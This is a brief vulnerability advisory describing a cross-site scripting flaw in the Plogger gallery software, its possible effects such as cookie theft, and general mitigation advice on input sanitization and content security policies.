Plogger Cross-Site Scripting Vulnerability

Plogger is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input before using it in dynamic content. Additionally, implementing content security policies and input validation can help prevent cross-site scripting attacks.
